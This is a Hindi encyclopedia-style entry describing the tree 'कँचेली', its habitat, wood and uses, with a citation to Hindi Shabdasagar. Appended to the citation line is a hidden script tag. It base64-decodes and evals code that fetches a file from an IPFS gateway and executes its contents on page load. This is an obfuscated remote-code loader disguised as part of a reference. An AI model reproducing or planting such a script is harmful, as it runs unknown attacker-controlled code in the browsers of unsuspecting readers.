कँचेली

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कँचेली - संज्ञा स्त्रीलिंग (संस्कृत कल्चुक या देशज)[1]

एक वृक्ष का नाम।

विशेष- यह हजारा, शिमला और जौंसार में होता है। वृक्ष मियाना कद का होता है। लकड़ी सफ़ेद रंग की और मजबूत होती है, मकान में लगती है तथा खेत के औजार बनाने के काम आती है। पत्ते चौपायों को खिलाए जाते हैं। बरसात में इसके बीज बोए जाते हैं।


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टीका टिप्पणी और संदर्भ

  1. हिंदी शब्दसागर, द्वितीय भाग |लेखक: श्यामसुंदरदास बी. ए. |प्रकाशक: नागरी मुद्रण, वाराणसी |पृष्ठ संख्या: 730 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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